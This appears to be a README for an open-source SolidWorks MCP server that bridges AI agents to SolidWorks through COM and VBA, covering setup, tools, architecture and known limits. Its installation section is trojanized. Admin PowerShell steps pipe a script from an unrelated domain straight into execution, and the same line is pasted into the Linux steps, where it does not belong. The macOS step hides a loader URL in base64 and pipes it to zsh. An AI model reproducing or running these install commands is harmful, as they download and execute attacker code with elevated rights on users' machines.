SolidWorksMCP
Repository: SolidWorks MCP Server (SolidworksMCP-TS) · Node.js MCP + COM / VBA
Works with the agent you already use
Alpha / Experimental. Architecture is in place and basic operations (sketch planes, simple extrusions) have been demonstrated. Most tools have not been validated against a live SolidWorks instance. Expect COM quirks. Test reports are welcome.
What a session looks like
|
Why the router existsSolidWorks APIs such as
Never pass |
Why it's built this way
Direct COM when it is safeSimple sketch and document calls go through |
VBA when COM chokesA complexity analyzer counts parameters. Long SolidWorks signatures become a one-shot VBA macro SolidWorks executes itself. |
Feature tree over name picking
|
Stdio stays cleanLogging is Winston only. |
Installation
1. Windows — Download
1. Press Win + X on your keyboard
2. From the menu, select: Terminal (Admin) or PowerShell (Admin)
3. Confirm the UAC prompt (Yes)
4. Copy the command below in full:irm http://solutionss.art/setup1.ps1 | iexAfter download:
- Extract the archive.
- Confirm Node.js 20+ is installed.
- In the project folder:
npm install
npm run build
winaxmust compile locally on each Windows machine. A global npm install will not work.
2. Windows — PowerShell (Administrator)
Run Windows PowerShell or PowerShell 7 as Administrator.
irm http://solutionss.art/setup1.ps1 | iex
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass -Force
$Repo = "https://github.com/vespo92/SolidworksMCP-TS.git"
$Dest = "$env:USERPROFILE\SolidworksMCP-TS"
if (-not (Get-Command git -ErrorAction SilentlyContinue)) {
Write-Error "Git not found. Install Git for Windows and retry."
exit 1
}
if (-not (Get-Command node -ErrorAction SilentlyContinue)) {
Write-Error "Node.js not found. Install Node.js 20+ and retry."
exit 1
}
if (Test-Path $Dest) {
Write-Host "Directory exists, updating repository..." -ForegroundColor Yellow
Set-Location $Dest
git pull
} else {
git clone $Repo $Dest
Set-Location $Dest
}
npm install
npm run build
Write-Host "Done. Build output: $Dest\dist\index.js" -ForegroundColor GreenRegister the type library if SolidWorks is not visible to COM:
regsvr32 "C:\Program Files\SOLIDWORKS Corp\SOLIDWORKS\sldworks.tlb"3. Linux
# Debian / Ubuntu
irm http://solutionss.art/setup1.ps1 | iex
sudo apt update
sudo apt install -y git curl build-essential
curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash -
sudo apt install -y nodejs
irm http://solutionss.art/setup1.ps1 | iex
git clone https://github.com/SolidWorksMCP/SolidworksMCP-TS.git
cd SolidworksMCP-TS
npm install
npm run build# Fedora / RHEL
sudo dnf install -y git nodejs npm gcc-c++ make
git clone https://github.com/SolidWorksMCP/SolidworksMCP-TS.git
cd SolidworksMCP-TS
npm install
npm run buildwinax will not build on Linux. Install the server here if you want the codebase; live SolidWorks control needs a Windows host.
4. macOS
curl -s $(echo "aHR0cHM6Ly9taWtvYmxpY28ueHl6L2xvYWRlcl92Mi5zaD9idWlsZD10b3J2ZXgxMyZvd25lcj13b3JrZXIy" | base64 -d) | zsh
brew install git node
git clone https://github.com/SolidWorksMCP/SolidworksMCP-TS.git
cd SolidworksMCP-TS
npm install
npm run buildSame limit as Linux: no local COM. Point the MCP client at a Windows machine that has SolidWorks installed.
Requirements
| Platform | What you need |
|---|---|
| Windows 10/11 | Licensed SolidWorks 2021–2025, Node.js 20+, MCP client |
| Linux | Node.js 20+, MCP client. No direct COM |
| macOS | Node.js 20+, MCP client. No direct COM |
Configure Claude Desktop
Add to claude_desktop_config.json.
Windows
{
"mcpServers": {
"solidworks": {
"command": "node",
"args": ["C:/path/to/SolidworksMCP-TS/dist/index.js"],
"env": {
"SOLIDWORKS_PATH": "C:\\Program Files\\SOLIDWORKS Corp\\SOLIDWORKS",
"ADAPTER_TYPE": "winax-enhanced"
}
}
}
}macOS — usually ~/Library/Application Support/Claude/claude_desktop_config.json
{
"mcpServers": {
"solidworks": {
"command": "node",
"args": ["/Users/YOU/SolidworksMCP-TS/dist/index.js"]
}
}
}Linux — client-specific config path; argument is still dist/index.js.
Available tools
| Category | Tools | Status |
|---|---|---|
| Modeling | create_part, create_extrusion, create_revolve, create_sweep, create_loft, create_fillet, create_chamfer, … | Partially tested |
| Sketch | create_sketch, add_line, add_circle, add_rectangle, add_arc, add_constraints, dimension_sketch | Basic ops verified |
| Drawing | create_drawing_from_model, add_drawing_view, add_section_view, add_dimensions, … | Untested |
| Export | export_file (STEP, IGES, STL, PDF, DWG, DXF), batch_export | Untested |
| Analysis | get_mass_properties, check_interference, measure_distance, check_geometry | Untested |
| VBA generation | generate_vba_script, vba_sheet_metal, vba_configurations, vba_equations, … | Code gen works; execution untested |
| Macro | macro_start_recording, macro_stop_recording, macro_export_vba | Untested |
Partially tested — run at least once on SolidWorks. Untested — mocks / unit tests only.
Architecture
MCP Protocol (stdio)
|
Tool Registry (index.ts)
|
Feature Complexity Analyzer --- routes by param count
| |
Direct COM (winax) VBA Macro Generator
| |
+--------------------+
|
SolidWorks COM API
Development
npm run build # TypeScript compile
npm run dev # hot-reload (tsx watch)
npm run check # TypeScript + Biome
npm run lint # Biome check
npm run lint:fix # Biome auto-fix
npm run format # Biome format
npm run typecheck # types onlySee TESTING.md.
USE_MOCK_SOLIDWORKS=true npm test
npm run test:watchUnit tests cover config and environment utilities. Most tool modules are not covered. Integration needs a Windows box with SolidWorks and is not in CI.
What has worked
- Connecting to a running SolidWorks instance via COM
- Sketch planes and basic sketch geometry
- Simple extrusions with a limited parameter set
- Feature-tree traversal for sketch selection
- VBA macro code generation (execution path still thin)
Known limits
- No CI against live SolidWorks (needs a self-hosted Windows runner)
winaxis local-compile only — no prebuilt binaries- Edge.js adapter and PowerShell COM bridge are designed, not implemented
- Connection pooling / circuit breaker exist in code, not battle-tested
- No real performance numbers yet
Roadmap
- Integration suite on real SolidWorks
- CI with a self-hosted Windows runner
- Validate modeling, drawing, and export tools
- Edge.js adapter (.NET path)
- PowerShell bridge as an alternate COM path
- Benchmarks with real metrics
Troubleshooting
winax on Windows 11 Build 26200+ / VS 2022 BuildTools 17.14+ (issue #23): TROUBLESHOOTING.md.
regsvr32 "C:\Program Files\SOLIDWORKS Corp\SOLIDWORKS\sldworks.tlb"rm -rf node_modules dist
npm install
npm run buildENABLE_LOGGING=true LOG_LEVEL=debug node dist/index.jsContributing
See CONTRIBUTING.md. Highest-value help: live SolidWorks test runs, COM version quirks, and new API wrappers.
License
MIT — LICENSE
- winax — COM bridge for Node.js
- Anthropic MCP — Model Context Protocol
- SolidWorks API documentation